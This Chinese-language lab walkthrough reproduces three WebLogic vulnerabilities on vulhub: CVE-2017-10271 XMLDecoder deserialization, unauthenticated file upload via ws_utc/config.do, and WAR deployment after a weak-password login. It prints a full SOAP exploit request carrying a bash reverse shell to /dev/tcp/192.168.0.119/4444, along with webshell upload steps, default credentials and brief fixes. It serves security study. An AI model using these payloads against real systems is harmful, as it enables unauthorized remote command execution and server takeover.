1、反序列化
2、任意文件上传
3、后台部署war包
1.Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
1.漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
2.漏洞涉及版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
3.环境搭建
在vulhub中使用docker拉取镜像,启动环境
docker-compose up -d
访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动
扫描路径发现可以访问访问http://192.168.0.130:7001/wls-wsat/CoordinatorPortType呈现如下页面,表示存在漏洞
4.复现过程
(1)使用工具
工具检测存在漏洞
(2)不使用工具
访问http://192.168.0.130:7001/wls-wsat/CoordinatorPortType
使用brupsuite抓包,
将get方式改为POST
将webshell替换上去
注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误,
而且在请求头中要修改Content-Type的对应值为text/xml
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.130:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.119/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
监听成功,连接成功可执行命令。
修复方法
1、更新Oracle相应补丁
2、对wls-wsat的资源访问在防火墙或路由器和交换机上做acl访问控制规则
3、在不影响业务的前提下删除相应war包
2.weblogic 任意文件上传漏洞
漏洞描述
weblogic管理端未授权的两个页面存在任意文件上传getshell漏洞,可直接获取webshell
受影响的版本
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
一、启动环境
docker-compose up -d
二、漏洞复现
执行如下命令可查看管理员密码,管理员用户名为weblogic,密码为pIeaMV7G
docker-compose logs | grep password
利用上面的账号密码登录weblogic
http://192.168.150.146:7001/console/login/LoginForm.jsp
登录后台页面,点击base_domain的配置,在 ‘高级’ 中勾选 ‘启用 Web 服务测试页’ 选项,然后保存配置。
访问http://192.168.150.146:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp大马
记录包中的时间戳
连接http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
http://192.168.0.130:7001/ws_utc/css/config/keystore/1697639529121_ma1.jsp
密码admin
成功
修复建议:
(1)设置config.do,begin.do页面登录授权后才能访问
(2)更新产品版本,安装安全补丁
3.weblogic后台部署war包
1.漏洞原理
在搭建好 weblogic 服务后没有修改后台的默认密码或密码设置太简单,导致可以弱口令登录,最终获得服务器权限。
2.影响版本
Weblogic版本:10.3.6
Java版本:1.6
3.环境搭建
在vulhub中使用docker拉取镜像,启动环境
docker-compose up -d
访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动
进入后台http://192.168.0.116:7001/console/login/LoginForm.jsp
本环境存在弱口令:weblogic/Oracle@123
选择左侧的部署,然后点击安装
然后就可以看到有个上传文件的选项,这里可以上传一个 jsp类型的小马的 war包来拿到shell。
新建一个文件夹,里面只有 ma1.jsp 文件,输入命令:
jar -cvf test.war .
test.war 就是打包后生成的文件名称。
后面的. 是把当前目录下所有文件打包。
上传我们制作的 war 包,一直点击下一步
点击保存,提示更改成功,接下来就可以连接我们的上马了。
连接成功,这里 test 是我们的 war 包名,shell.jsp是里面的小马。
密码admin
4.防御和修复
1.设置Config.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本